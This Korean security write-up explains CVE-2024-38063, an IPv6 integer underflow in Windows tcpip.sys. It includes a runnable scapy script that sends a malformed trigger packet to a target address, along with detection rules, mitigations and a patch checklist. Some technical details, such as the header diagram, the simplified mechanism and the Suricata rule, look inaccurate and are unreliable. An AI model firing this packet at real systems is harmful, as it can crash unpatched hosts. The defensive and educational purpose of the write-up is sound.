개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2024-38063 |
| 발견 | XiaoWei of Kunlun Lab |
| 공개일 | 2024-08-13 (Patch Tuesday) |
| CVSS v3.1 | 9.8 Critical |
| 영향 | Windows 10/11, Windows Server 2008~2022 전 버전 |
| 인증 | 불필요 (네트워크 접근만 필요) |
| 사용자 상호작용 | 불필요 |
| 웜 가능성 | 있음 |
기본 원리: 정수 언더플로우
정수 오버플로우/언더플로우란
컴퓨터에서 정수는 고정된 비트 수로 표현된다. 표현 범위를 벗어나면 "랩어라운드(wrap-around)"가 발생한다.
uint16_t (부호 없는 16비트 정수, 0 ~ 65535):
오버플로우: 65535 + 1 = 0 (최댓값 → 0으로 랩어라운드)
언더플로우: 0 - 1 = 65535 (0 아래 → 최댓값으로 랩어라운드)
예시:
uint16_t a = 0;
uint16_t b = 8;
uint16_t result = a - b; // 0 - 8 = ???
수학적: -8
uint16_t: 0xFFFF - 8 + 1 = 65528 (0xFFF8)
→ result = 65528
→ 이 값을 버퍼 복사 크기로 사용하면 65528바이트 복사 = 버퍼 오버플로우!
IPv6 패킷 구조
IPv6 패킷 구조 (고정 헤더 40바이트):
+--------+--------+--------+--------+
|Version | Traffic Class | Flow Label| 4바이트
+--------+--------+--------+--------+
|Payload Length (16비트) | Next Hdr| 4바이트
+------------------------+---------+
| Hop Limit | Source Address (16B) | 17바이트
+-----------+--.... |
| Destination Address (16B) | 16바이트
+----------------------------------+
| Extension Headers (가변 길이) |
+----------------------------------+
| Upper Layer Data (TCP/UDP/ICMP) |
+----------------------------------+
Payload Length:
- 헤더 이후의 바이트 수 (Extension Headers + Upper Layer Data)
- 최댓값 65535 (16비트)
- 0으로 설정 가능 (이것이 공격의 핵심)
취약점 메커니즘
tcpip.sys의 길이 계산 오류
/* Windows tcpip.sys 취약한 코드 (의사코드) */
void process_ipv6_packet(IPv6_Packet *packet) {
uint16_t payload_len = packet->header.payload_length; // 공격자가 0으로 설정
/* Extension Headers 크기 계산 */
uint16_t ext_header_len = calculate_extension_headers(packet);
// 예: Hop-by-Hop 옵션 헤더 8바이트 존재 → ext_header_len = 8
/* ⚠️ 언더플로우 발생! */
uint16_t data_len = payload_len - ext_header_len;
// 0 - 8 = 0xFFF8 = 65528 (uint16_t 언더플로우)
/* 65528바이트를 커널 힙 버퍼에 복사 → 오버플로우! */
char *buffer = ExAllocatePool(NonPagedPool, data_len); // 65528바이트 할당
memcpy(buffer, packet->data, data_len); // 실제 데이터는 수십 바이트인데 65528바이트 복사
}
공격 패킷 구성:
IPv6 고정 헤더:
Payload Length = 0 ← 조작
Next Header = 0 (Hop-by-Hop Options)
Hop-by-Hop 옵션 헤더:
크기 = 8바이트 (최소 크기)
결과:
data_len = 0 - 8 = 65528 (언더플로우)
→ 커널이 65528바이트를 복사하려 함
→ 커널 힙 오버플로우
→ 인접 커널 데이터 구조 손상
→ 정밀 제어로 커널 코드 실행 가능
공격 조건
필요한 것:
1. 타겟 시스템의 네트워크 주소 (IPv6)
2. 타겟이 네트워크에서 IPv6 패킷을 받을 수 있는 환경
불필요한 것:
- 인증 (자격증명 없음)
- 사용자의 어떤 행동도 불필요
- 피싱 이메일, 링크 클릭, 첨부 파일 없음
Windows 기본 설정:
- IPv6: 기본으로 활성화됨
- 모든 Windows 시스템이 기본적으로 IPv6 스택을 가동
- 내부망에서도 IPv6 패킷 수신 가능
PoC 개념
# 개념적 PoC — 교육 목적 (실제 RCE 익스플로잇 아님)
from scapy.all import *
import sys
def craft_trigger_packet(target_ipv6):
"""
Payload Length = 0인 기형 IPv6 패킷 생성
Hop-by-Hop 옵션 헤더 포함 → 언더플로우 트리거
"""
# IPv6 헤더 — Payload Length를 0으로 조작
ipv6_hdr = IPv6(
src="fe80::1",
dst=target_ipv6,
nh=0, # Next Header = Hop-by-Hop Options
plen=0 # Payload Length = 0 (조작된 값)
)
# Hop-by-Hop 옵션 헤더 (RFC 2460 기준 최소 8바이트)
# Next Header=59(No Next Header), Len=0, PadN 옵션
hop_by_hop = b'\x3b\x00\x01\x04\x00\x00\x00\x00'
packet = ipv6_hdr / Raw(hop_by_hop)
return packet
# 단일 패킷 전송 (DoS 트리거, RCE는 추가 작업 필요)
target = sys.argv[1] # IPv6 주소
pkt = craft_trigger_packet(target)
send(pkt, verbose=True)
# 실제 RCE 익스플로잇을 위해서는:
# 1. 커널 힙 그루밍 (원하는 메모리 레이아웃 구성)
# 2. 오버플로우로 특정 커널 구조체 덮어쓰기
# 3. 커널 메모리 읽기/쓰기 primitive 획득
# 4. 커널 특권 상승 → SYSTEM 권한
# 이 과정은 매우 복잡하며 공개 익스플로잇은 아직 없음
탐지 방법
# Windows 이벤트 로그에서 TCP/IP 관련 이벤트
Get-WinEvent -LogName "Microsoft-Windows-Tcpip/Operational" -MaxEvents 100 |
Where-Object { $_.Message -like "*IPv6*" -or $_.Message -like "*anomal*" }
# 비정상적인 IPv6 트래픽 확인 (Wireshark 필터)
# ipv6.plen == 0 and not ipv6.nxt == 59
# → Payload Length가 0이면서 "No Next Header"가 아닌 패킷 (비정상)
# Suricata 탐지 룰
alert ip6 any any -> $HOME_NET any (
msg:"CVE-2024-38063 Potential Trigger - IPv6 Zero Payload with Extension Header";
ip6_hdr;
byte_test:2,=,0,4,relative; # Payload Length 위치(offset 4)에서 2바이트 = 0
ip6_hdr;
byte_test:1,=,0,6,relative; # Next Header = Hop-by-Hop (0)
sid:2024380631;
rev:1;
classtype:attempted-dos;
)
완화 방법
# 방법 1: 네트워크 어댑터별 IPv6 비활성화
Get-NetAdapter | ForEach-Object {
Disable-NetAdapterBinding -Name $_.Name -ComponentID ms_tcpip6
}
# 방법 2: 레지스트리로 IPv6 완전 비활성화 (재부팅 필요)
New-ItemProperty `
-Path "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" `
-Name "DisabledComponents" `
-Value 0xFF `
-PropertyType DWORD `
-Force
# 0xFF = 모든 IPv6 인터페이스 비활성화
# 방법 3: Windows Firewall로 IPv6 인바운드 차단
New-NetFirewallRule `
-DisplayName "Block CVE-2024-38063 - IPv6 Inbound" `
-Direction Inbound `
-Action Block `
-Protocol Any `
-AddressFamily IPv6
# 근본 해결: Windows Update 적용
# KB5041578, KB5041580, KB5041585, KB5041773 등
# (2024년 8월 Patch Tuesday)
왜 위험한가?
CVE-2024-38063의 위험 요소:
Zero-click: 사용자 행동 불필요
Pre-auth: 인증 불필요 (자격증명 없이 공격)
Kernel-level: 성공 시 SYSTEM(최고 권한) 획득
Wormable: 네트워크를 통해 자동 전파 가능
IPv6 기본 활성화: 모든 Windows가 기본으로 취약
비교 대상 — EternalBlue (MS17-010):
EternalBlue는 SMBv1 취약점으로 WannaCry(2017) 대유행의 근원
CVE-2024-38063은 유사한 특성 보유
공통점: Zero-click, Pre-auth, Kernel, Wormable
차이점: EternalBlue는 TCP 445 (방화벽이 주로 차단)
CVE-2024-38063은 IPv6 (내부망에서 더 자유롭게 통신)
타임라인
2024-07월 — Kunlun Lab의 XiaoWei가 발견 및 Microsoft 보고
2024-08-13 — Microsoft Patch Tuesday 공개 + 패치 배포
2024-08~09 — 기술 분석 블로그 다수 등장 (DoS PoC 일부 공개)
현재 — 완전한 RCE PoC는 공개적으로 알려지지 않음
단, Microsoft 평가: "Exploitation More Likely"
조직 대응 체크리스트
즉시 (24시간):
□ 2024년 8월 Windows Update 패치 적용 확인
□ 패치 미적용 시스템 인벤토리 파악
□ IPv6를 사용하지 않는 시스템 IPv6 비활성화
□ 경계 방화벽에서 외부 IPv6 트래픽 차단
단기 (1주일):
□ 내부망 세그멘테이션 검토
□ EDR/SIEM에 탐지 룰 추가 (위 Suricata 룰 참고)
□ IPv6 사용 필요성 재검토
장기:
□ Critical 취약점 = 48시간 내 패치 정책 수립
□ 커널 취약점 방어를 위한 EDR 솔루션 강화
□ IPv6 관리 정책 수립 (사용 범위 명확화)